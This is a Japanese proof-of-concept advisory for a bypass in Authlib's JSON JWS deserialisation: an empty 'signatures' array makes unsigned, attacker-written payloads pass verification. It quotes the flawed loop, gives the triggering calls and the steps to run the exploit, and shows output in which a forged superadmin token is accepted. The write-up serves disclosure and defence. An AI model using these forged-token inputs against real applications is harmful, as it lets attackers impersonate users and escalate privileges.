Authlib の authlib.jose モジュールにおける署名検証バイパスの概念実証(PoC)。JsonWebSignature.deserialize_json() は、空の signatures 配列を持つ General JSON JWS オブジェクトを受け入れ、攻撃者が制御するペイロードを検証成功として返します。鍵は不要で、署名も検証されません。
影響を受ける: Authlib ≤ 1.7.2、authlib.jose モジュール
影響を受けない: コンパクト JWT パス(jwt.decode())。このバグは JSON シリアライゼーション JWS API に固有のものです。
CWE: CWE-347(暗号署名の不適切な検証)、CWE-670、CWE-358
ステータス: 1.7.x では未修正 - authlib.jose モジュールは修正されたのではなく、Authlib 1.8 で完全に削除されました。1.8 未満に固定されたデプロイメントは引き続き脆弱です。
# authlib/jose/rfc7515/jws.py
headers = []
is_valid = True # starts True
for header_obj in obj["signatures"]: # zero iterations when signatures = []
jws_header, valid = self._validate_json_jws(
payload_segment, payload, header_obj, key
)
headers.append(jws_header)
if not valid:
is_valid = False
rv = JWSObject(headers, payload, "json")
if is_valid:
return rv # attacker payload returned as verified
raise BadSignatureError(rv)
is_valid は True で初期化され、ループ本体の中でしか反転されません。signatures が [] の場合、ループは一度も実行されず、検証ロジックは一切実行されず、関数は成功を返します。これは典型的な空虚な真(vacuous truth)の欠陥です。両方の公開エントリポイントが影響を受けます:
jws.deserialize_json({"payload": "...", "signatures": []}, key) # direct
jws.deserialize('{"payload": "...", "signatures": []}', key) # generic dispatcher
deserialize_json() または deserialize() を介して攻撃者が制御する JSON JWS 入力を検証するあらゆるアプリケーションは、その入力に対する真正性/完全性の保証を失います:
sub、role、セッションクレームを偽造scope、tenant、permissions クレームを捏造git clone https://github.com/uziii2208/CVE-2026-96760.git
cd CVE-2026-96760
python3 exploit.py
=================================================================
[BASELINE] Creating legitimate JWS with real signature
=================================================================
Valid token:
{
"payload": "eyJzdWIiOiJsZWdpdC11c2VyIiwiYWRtaW4iOmZhbHNlfQ",
"signatures": [
{
"protected": "eyJhbGciOiJIUzI1NiJ9",
"signature": "_IhsSGd6d2jAISIu0BkmCrWGCRU5ZsAJnF7aymDNJ-g"
}
]
}
[+] Verification succeeded: payload = b'{"sub":"legit-user","admin":false}'
=================================================================
[BASELINE] Verification with wrong key - must be rejected
=================================================================
[+] Correctly rejected - BadSignatureError: bad_signature:
=================================================================
[EXPLOIT] Forged payload WITHOUT any signing key
=================================================================
Malicious JWS:
{
"payload": "eyJzdWIiOiJhdHRhY2tlciIsImFkbWluIjp0cnVlLCJyb2xlIjoic3VwZXJhZG1pbiJ9",
"signatures": []
}
[X VULNERABLE] Verification succeeded WITHOUT any signature!
Payload : b'{"sub":"attacker","admin":true,"role":"superadmin"}'
Headers : []
Type : json
→ Attacker fully controls payload content
→ Application trusts payload as signed by trusted party
3つのケースはこの欠陥を正確に切り分けています。誤った鍵を使った本物の署名は正しく拒否され、正しい鍵を使った本物の署名は正しく受理され、そして空の署名リスト——本来なら最も拒否されるべきケース——が黙って受理されてしまいます。
authlib.jose の非推奨を理由にクローズ(修正は未実施): 7月30日authlib.jose は Authlib 1.8 で削除(修正としてバックポートされず)発見および報告: uziii2208 と nguyenminhtuan28
この PoC は教育および防御目的で公開されています——メンテナ、セキュリティチーム、および下流のユーザーがこの問題を理解し、修正するための支援を目的としています。所有していないシステム、または明示的なテスト許可を得ていないシステムに対して使用しないでください。